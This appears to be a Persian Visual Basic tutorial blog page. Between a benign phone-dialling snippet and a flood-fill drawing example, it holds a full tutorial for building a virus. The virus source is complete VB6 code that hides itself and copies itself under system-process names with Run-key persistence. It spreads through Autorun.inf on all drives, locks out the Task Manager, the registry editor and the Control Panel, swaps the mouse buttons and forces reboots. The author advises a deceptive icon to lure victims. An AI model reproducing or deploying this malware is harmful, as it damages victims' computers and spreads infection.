امکان شماره گیری تلفن با برنامه شما

اینکار خیلی آسونه. یک پروژه جدید باز کنید و تو فرمتون یک Command Button و یک TextBox بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function tapiRequestMakeCall Lib "TAPI32.DLL" (ByVal Dest As String, ByVal AppName As String, ByVal CalledParty As String, ByVal Comment As String) As Long

Private Sub Command1_Click()
    tapiRequestMakeCall Text1.Text, "", "", ""
End Sub

حالا برنامه رو اجرا کنید و تو TextBox شماره تلفن رو وارد کنید و کلید Command1 رو بزنید، میبینید که شماره گیری توسط خود ویندوز انجام میشه و احتیاجی نیست که شما کاری انجام بدید. موفق باشید.

ويروس نويسي

آموزش ساخت یک ویروس قوی و آزار دهنده

اخطار : این وبلاگ هیچگونه مسئولیتی در قبال استفاده های ناهنجار و مخرب از آموزشهای این بخش را نخواهد پذیرفت و مسئولیت استفاده از مطالب این بخش از وبلاگ فقط با شماست. مطالب این بخش از وبلاگ مختص کسانی است که قصد یادگیری و درک طرز کار ویروس ها را دارند خواهد بود. توصیه میشود مطالب این بخش را فقط برای یادگیری هر چه بهتر ویژوال بیسیک مطالعه نمایید و از سو استفاده های غیر اخلاقی و آزار و اذیت، جدّاً خودداری نمایید.

توجه : استفاده از مطالب این بخش فقط با ذکر منبع بلامانع است.

خب الوعده وفا. اینم آموزش ساخت ویروسی که قولشو داده بودم، یک ویروس خطرناک.

درباره ویروس : خرابکاری های این ویروس عبارت اند از :

1-       اعمال محدودیت های زیر از طریق رجیستری :

غیر فعال کردن رجیستری (DisableRegEdit)
غیر فعال کردن Task Manager (DisableTaskManager)
غیر فعال کردن تنظیمات صفحه نمایش (DisableDisplayProperties)
غیر فعال کردن Shutdown (DisableShutdown)
غیر فعال کردن جستجو (DisableSearch)
غیر فعال کردن System Properties (DisableMyComputerProperties)
غیر فعال کردن Run (DisableRun)
ناپدید کردن All Programs از منوی Start (DisableAllPrograms)
مخفی کردن درایو C: (HideDrive_C)
غیر فعال کردن کنترل پنل (DisableControlPanel)
غیر فعال کردن Folder Options (DisableFolderOption)
محدود کردن نمایش فایلهای مخفی (DontShowHiddenFiles)
محدود کردن نمایش فایلهای ابر مخفی (DontShowSuperHiddenFiles)
غیر فعال کردن Add/Remove (DisableAddRemove)
تغییر نام و کمپانی کامپیوتر (ChangeNameAndCompanyName)

2-       تغییر دادن کلیک چپ و راست ماوس هر چند لحظه یک بار از طریق توابع API

3-       اجرا شدن خودکار ویروس موقع باز کردن درایوها با استفاده از فایل Autorun.inf

ویروس جالبی به نظر میرسه چون کاربر رو خیلی محدود میکنه و باعث میشه که کاربر راهی جز تعویض ویندوز نداشته باشه.

بعضی از محدودیت های ذکر شده در بند 1 بلافاصله پس از اجرای ویروس اعمال میشن، مثلاً عیر فعال کردن Task Manager و Registry و Folder Options و چند تای دیگه. برای اعمال شدن تغییرات و محدودیت های دیگه، ویندوز باید یکبار Logoff یا راه اندازی دوباره بشه.

این ویروس در ابتدای اجرا از کد App.TaskVisible = False استفاده میکنه که باعث میشه برنامه تو Task Manager دیده نشه و این خیلی به نفع شما و به ضرر کاربره. این ویروس بلافاصله پس از اجرا، یک نسخه از خودشو با نامهای svchost.exe و dllhost.exe در پوشه System32\Drivers\ کپی میکنه و یک نسخه با نام services.exe رو هم در مسیر All Users\Application Data\ کپی میکنه و بعد همشون رو تو Startup قرار  میده و بعد اجراشون میکنه. مزیت اینکارا اینه که کاربر نتونه ویروسی رو که با نام services.exe اجرا شده از حافظه خارج کنه (End Task). در ضمن پوشه های داخل درایو ویندوز رو ابر مخفی (Super Hidden) میکنه.

توجه : برای درک و فهم بهتره مطالب این بخش، باید با رجیستری و طرز کار اون آشنا باشید که در ادامه بیشتر توضیح میدم.

این ویروس از دو بخش تشکیل شده : اول بخش خرابکاری و دستکاری رجیستری. دوم بخش بلاک اصلی برنامه که میتونید هر چیزی که دلتون میخواد اونجا اضافه کنید. برای اینکه کارای ویروس مدام انجام بشن و محدود به لود فرم نباشن باید اونا رو تو یک یا چند تا تایمر قرار بدید. من از سه تایمر استفاده کردم. تایمر اول برای عوض کردن کلید چپ و راست ماوس است، تایم دوم بر ای تعیین Interval تایمر اوله تا حالت یکنواختی پیدا نکنه و هر چند لحظه یکبار (بین 1 تا 5 ثانیه) کلید چپ و راست ماوس عوض بشه و تایمر سوم هم چهار کار انجام میده: 1- ساختن فایل Autorun.inf تو تمام درایوها 2- بستن System Configuration Utility که احتمال میره کاربر اونو باز کنه 3- بستن Command Prompt که احتمال میره کاربر اونو باز کنه 4- خرابكاري يعني دستكاري كردن رجيستري و اعمال محدوديتها.

خب توضیحات درباره ویروس کافیه بهتره بریم سر وقته آموزش.

آموزش ساخت :

اول یک پروژه جدید باز کنید و بهش دو تا Module اضافه کنید و به فرمتون هم سه تا تایمر اضافه کنید و مشخصات زیر رو تغییر بدید :

[Form Properties]
Name = frmVirus
BorderStyle = 0 – None
Caption = Empty
ShowInTaskbar = False
Height = 0
Width = 0
Left = -5000
Top = -5000
Visible = False
[Timers Properties]
Timer1.Interval = 0
Timrr2.Interval =5000
Timer3.Interval = 500

حالا كدهاي زير رو تو قالب جنرال فرمتون كپي كنيد:

Dim bln As Boolean

Private Sub Form_Load()
    App.TaskVisible = False
   
    Dim sSave As String
    If App.PrevInstance = True Then End
    Dim Ret As Long
    Dim CLR As Long
    Me.BackColor = RGB(1, 1, 1)
    CLR = Me.BackColor
    Ret = GetWindowLong(Me.hWnd, GWL_EXSTYLE)
    Ret = Ret Or WS_EX_LAYERED
    SetWindowLong Me.hWnd, GWL_EXSTYLE, Ret
    SetLayeredWindowAttributes Me.hWnd, CLR, 0, LWA_COLORKEY
   
   
    On Error Resume Next
   
    strSource = App.Path & IIf(Len(App.Path) > 0, "\", Empty)
    strSource = strSource & App.EXEName & ".exe"
  
    SetAttr WinDrive & "Windows", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Program Files", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Documents and Settings", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Windows\System\", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Windows\System32\", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
   
    Timer2.Enabled = True
    Timer3.Enabled = True
   
End Sub

Private Sub Timer1_Timer()
    If bln = True Then
        bln = False
        Timer1.Enabled = False
        Call SwapMouseButton(1)
    Else
        bln = True
        Call SwapMouseButton(0)
    End If
   
    If blnBlockinput = True Then Call BlockInput(0)
End Sub

Private Sub Timer2_Timer()
    If Timer1.Enabled = False Then
        Timer1.Interval = CLng(Rnd * 5000)
        Timer1.Enabled = True
    End If
End Sub

Private Sub Timer3_Timer()
    Call MakeAutoRun
    Call CloseProgram("System Configuration Utility")
    Call CloseProgram("Command Prompt")
    Call Sabotage
End Sub

خب حالا كد زير رو تو Module1 كپي كنيد:

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal HKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal HKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal HKey As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal HKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_USERS = &H80000003
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Public Const REG_NONE = 0
Public Const REG_MULTI_SZ = 7
Public Const REG_EXPAND_SZ = 2
Public Const REG_BINARY = 3
Public Declare Function SetWindowLong Lib "User32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function SetWindowText Lib "User32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long
Public Declare Function EnumWindows Lib "User32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function IsWindowVisible Lib "User32" (ByVal hWnd As Long) As Long
Public Declare Function GetParent Lib "User32" (ByVal hWnd As Long) As Long
Public Declare Function GetWindowLong Lib "User32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Public Declare Function GetWindowText Lib "User32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Const GWL_HWNDPARENT = (-8)
Public Const LB_ADDSTRING = &H180
Public Const LB_SETITEMDATA = &H19A
Public Declare Function GetActiveWindow Lib "User32" () As Long

Public Declare Function GetWindowDC Lib "User32" (ByVal hWnd As Long) As Long
Public Declare Function TextOut Lib "gdi32" Alias "TextOutA" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal lpString As String, ByVal nCount As Long) As Long
Public Declare Function BlockInput Lib "User32" (ByVal fBlock As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Const LWA_COLORKEY = &H1
Public Const GWL_EXSTYLE = (-20)
Public Const WS_EX_LAYERED = &H80000
Public Const BM_SETSTATE = &HF3

Public Const HWND_TOPMOST = -1
Public Const HWND_NOTOPMOST = -2
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOSIZE = &H1
Public Const SWP_NOACTIVATE = &H10
Public Const SWP_SHOWWINDOW = &H40
Public Const TOPMOST_FLAGS = SWP_NOMOVE Or SWP_NOSIZE
Public Declare Function SwapMouseButton Lib "User32" (ByVal bSwap As Long) As Long
Public Declare Function SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, Y, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Const TH32CS_SNAPHEAPLIST = &H1
Const TH32CS_SNAPPROCESS = &H2
Const TH32CS_SNAPTHREAD = &H4
Const TH32CS_SNAPMODULE = &H8
Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Const TH32CS_INHERIT = &H80000000
Const MAX_PATH As Integer = 260
Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile As String * MAX_PATH
End Type

Public Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Public Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public hSnapShot As Long, uProcess As PROCESSENTRY32
Public blnMsgBoxResult As Boolean
Public strSource As String, strDest As String
Public strOutput(20) As String, strTemp As String
Public blnBlockinput As Boolean
Public strSysDir As String, strFileExist As String
Public strAppPath As String

و حالا كد زير رو تو Module2 كپي كنيد:

Public Sub AddToRun_Copy_Hide()
    blnVirusRuning = True
    On Error Resume Next
   
    strSource = App.Path & IIf(Len(App.Path) > 0, "\", Empty)
    strSource = strSource & App.EXEName & ".exe"
   
    If (App.EXEName <> "svchost" And App.EXEName <> "spoolsv" And App.EXEName <> "smss") Then
        strDest = WinDrive & "WINDOWS\system32\drivers\"
       
        FileCopy strSource, strDest & "svchost.exe"
        AddToRun "svchost", strDest & "svchost.exe"
        SetAttr strDest & "svchost.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        Shell strDest & "svchost.exe", vbNormalNoFocus
       
        FileCopy strSource, strDest & "dllhost.exe"
        AddToRun "krnl32 dllhost", strDest & "dllhost.exe"
        SetAttr strDest & "dllhost.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        Shell strDest & "dllhost.exe", vbNormalNoFocus
       
        strDest = WinDrive & "Documents and Settings\All Users\Application Data\"
        FileCopy strSource, strDest & "services.exe"
        AddToRun "ctfmon", strDest & "services.exe"
        SetAttr strDest & "services.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        Shell strDest & "services.exe", vbNormalNoFocus
       
    End If
End Sub
Private Sub SaveString(ByVal HKey As Long, strPath As String, strValue As String, ByVal lngdata As Long, ByVal lngType As Long, ByVal lngLen As Long)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKey, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, lngType, lngdata, CLng(lngLen))
    r = RegCloseKey(keyhand)
End Sub

Public Sub MakeTopMost(lngHwnd As Long)
    SetWindowPos lngHwnd, HWND_TOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS
End Sub

Public Function WinDrive() As String
    Dim strDrive As String
    strDrive = Space(500)
    A = GetWindowsDirectory(strDrive, Len(strDrive))
    strDrive = Left(strDrive, 3)
    WinDrive = strDrive
End Function

Public Sub CloseProgram(ByVal WindowName As String)
    On Error Resume Next
    Handle = FindWindow(vbNullString, WindowName)
    If Handle = 0 Then Exit Sub
    Call SendMessage(Handle, &H10, 0&, 0&)
    Shell "Shutdown -r -t 0"
End Sub

Public Sub MakeAutoRun()
    Dim strDrive As String, strDrives As String
    On Error Resume Next
    strAutorun = "[autorun]" & vbCrLf & _
                 "OPEN=Autorun.exe" & vbCrLf & _
                 "shell\open=Open" & vbCrLf & _
                 "shell\open\Command=Autorun.exe" & vbCrLf & _
                 "shell\explore=Explore" & vbCrLf & _
                 "shell\explore\Command=""Autorun.exe -e"""
                
    strDrives = String(255, Chr$(0))
    Ret& = GetLogicalDriveStrings(255, strDrives)
    strDrives = Right$(strDrives, Len(strDrives) - InStr(1, strDrives, Chr$(0)))
    For i = 1 To 100
        If Left$(strDrives, InStr(1, strDrives, Chr$(0))) = Chr$(0) Then Exit For
        strDrive = Left$(strDrives, InStr(1, strDrives, Chr$(0)) - 1)
        If strDrive <> "A:\" Then
            Open strDrive & "Autorun.inf" For Output As #1
            Print #1, strAutorun
            Close #1
        End If
        SetAttr strDrive & "Autorun.inf", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        FileCopy WinDrive & "Documents and Settings\All Users\Application Data\services.exe", strDrive & "Autorun.exe"
        SetAttr strDrive & "Autorun.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        strDrives = Right$(strDrives, Len(strDrives) - InStr(1, strDrives, Chr$(0)))
    Next
End Sub

Public Sub Sabotage() ' Sabotage = Kharab kari
    Call AddToRun_Copy_Hide
    Call DisableRegEdit
    Call DisableTaskManager
    Call DisableDisplayProperties
    Call DisableShutdown
    Call DisableSearch
    Call DisableMyComputerProperties
    Call DisableRun
    Call DisableAllPrograms
    Call HideDrive_C
    Call DisableControlPanel
    Call DisableFolderOption
    Call DontShowHiddenFiles
    Call DontShowSuperHiddenFiles
    Call DisableAddRemove
    Call ChangeNameAndCompanyName
End Sub

Private Sub DisableRegEdit()
    Call SaveString(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", 1, REG_DWORD, 4)
End Sub

Private Sub DisableTaskManager()
    Call SaveString(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 1, REG_DWORD, 4)
End Sub

Private Sub DisableDisplayProperties()
    Call SaveString(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "NoDispCPL", 1, REG_DWORD, 4)
End Sub

Private Sub DisableShutdown()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoClose", 1, REG_DWORD, 4)
End Sub

Private Sub DisableSearch()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFind", 1, REG_DWORD, 4)
End Sub

Private Sub DisableMyComputerProperties()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoPropertiesMyComputer", 1, REG_DWORD, 4)
End Sub

Private Sub DisableRun()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoRun", 1, REG_DWORD, 4)
End Sub

Private Sub DisableAllPrograms()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoStartMenuMorePrograms", 1, REG_DWORD, 4)
End Sub

Private Sub HideDrive_C()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDrives", 4, REG_DWORD, 4)
End Sub

Private Sub DisableControlPanel()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoControlPanel", 1, REG_DWORD, 4)
End Sub

Private Sub DisableFolderOption()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions", 1, REG_DWORD, 4)
End Sub

Private Sub DontShowHiddenFiles()
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN", "CheckedValue", 2, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL", "CheckedValue", 0, REG_DWORD, 4)
    Call SaveString(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 0, REG_DWORD, 4)
End Sub

Private Sub DontShowSuperHiddenFiles()
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden", "CheckedValue", 0, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden", "UncheckedValue", 0, REG_DWORD, 4)
    Call SaveString(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "SuperHidden", 0, REG_DWORD, 4)
End Sub

Private Sub DisableAddRemove()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddRemovePrograms", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddFromCDorFloppy", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddFromInternet", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddFromNetwork", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddPage", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoRemovePage", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoServices", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoSetFolders", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoSupportInfo", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoWindowsSetupPage", 1, REG_DWORD, 4)
End Sub

Private Sub ChangeNameAndCompanyName()
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", keyhand)
    r = RegSetValueEx(keyhand, "RegisteredOwner", 0, REG_SZ, ByVal "Amir Amiri", Len("Amir Amiri"))
    r = RegSetValueEx(keyhand, "RegisteredOrganization", 0, REG_SZ, ByVal "Http://V-Basic.Mihanblog.Com", Len("Http://V-Basic.Mihanblog.Com"))
    r = RegCloseKey(keyhand)
End Sub

Public Sub AddToRun(ProgramName As String, FileToRun As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", keyhand)
    r = RegSetValueEx(keyhand, ProgramName, 0, REG_SZ, ByVal FileToRun, Len(FileToRun))
    r = RegCloseKey(keyhand)
End Sub

برنامه رو ذخيره كنيد و ازش يه فايل اجرايي بسازيد و اجراش کنید تا بیچاره بشید. سعی کنید برای ویروستون یک آیکون گول زننده و جذاب بذارید تا کاربر به محض مشاهده حس کنجکاویش کار دستش بده. تا اینجا تونستید یک ویروس بسازید ولی اگر اجراش کنید واقعاً بیچاره میشید پس دست نگه دارید. هر ویروسی باید یک آنتی ویروس داشته باشه و چون ویروس ما به شدت آزار دهنده و کمی هم مخربه پس باید آنتی ویروسشو در کنارش داشته باشید. ویروس ما محدودیت هایی رو به کاربر اعامل میکنه که شما میدونید اون محمدودیت ها چی هستن و چه طور اعمال شدن پس میتونید به راحتی اونا رو خنثی کنید. موفق باشيد.

پر كردن فضاهاي خالي با رنگ مورد نظر (API)

حالا اين كه گفتم چي هست؟ مثلاً يه دايره رو در نظر بگيريد كه توش خاليه و ميخوايم توشو با رنگ آبي پر كنيم، اينجاست كه اين تابع به دردمون ميخوره. اين تابع بيشتر بدرد بچه هاي سوم كامپيوتر كه ميخوان برنامه Paint بسازن ميخوره.

يك پروژه جديد باز كنيد و دو تا Command Button و دو تا ComboBox به فرمتون اضافه كنيد و كد زير رو تو قسمت جنرال فرمتون كپي كنيد :

Private Declare Function ExtFloodFill Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal crColor As Long, ByVal wFillType As Long) As Long
Dim X As Single, Y As Single

Private Sub Command1_Click()
    Me.Cls
    Me.FillStyle = 1
    R = Me.ScaleWidth / 2
    Me.Circle (X, Y), R, vbRed
    Me.FillStyle = Combo1.ListIndex
End Sub

Private Sub Command2_Click()
    Me.FillColor = Combo2.ItemData(Combo2.ListIndex)
    Me.FillStyle = Combo1.ListIndex
    ExtFloodFill Me.hdc, X, Y, Me.Point(X, Y), 1
End Sub

Private Sub Form_Load()
    Me.Width = 5000
    Me.Height = 7000
    Me.AutoRedraw = True
    Command1.Caption = "Draw Circle"
    Command1.Move 0, 0, 1000, 350
    Command2.Caption = "FloodFill"
    Command2.Move 1100, 0, 1000, 350
    Combo1.Move 2200, 0, 1800
    Combo1.List(0) = "0 - Solid"
    Combo1.List(1) = "1 - Transparent"
    Combo1.List(2) = "2 - Horizontal Line"
    Combo1.List(3) = "3 - Vertical Line"
    Combo1.List(4) = "4 - Upward Diagonal"
    Combo1.List(5) = "5 - Downward Giagonal"
    Combo1.List(6) = "6 - Cross"
    Combo1.List(7) = "7 - Diagonal Cross"
    Combo1.ListIndex = 0
    Combo2.Move 4000, 0, 800
    Combo2.List(0) = "Red"
    Combo2.ItemData(0) = vbRed
    Combo2.List(1) = "Green"
    Combo2.ItemData(1) = vbGreen
    Combo2.List(2) = "Blue"
    Combo2.ItemData(2) = vbBlue
    Combo2.List(3) = "Yellow"
    Combo2.ItemData(3) = vbYellow
    Combo2.ListIndex = 1
    Me.ScaleMode = 2
    Me.FillColor = vbGreen
    X = Me.ScaleWidth / 2
    Y = Me.ScaleHeight / 2
End Sub

حالا برنامه رو اجرا كنيد و نتيجه رو ببينيد. موفق باشيد.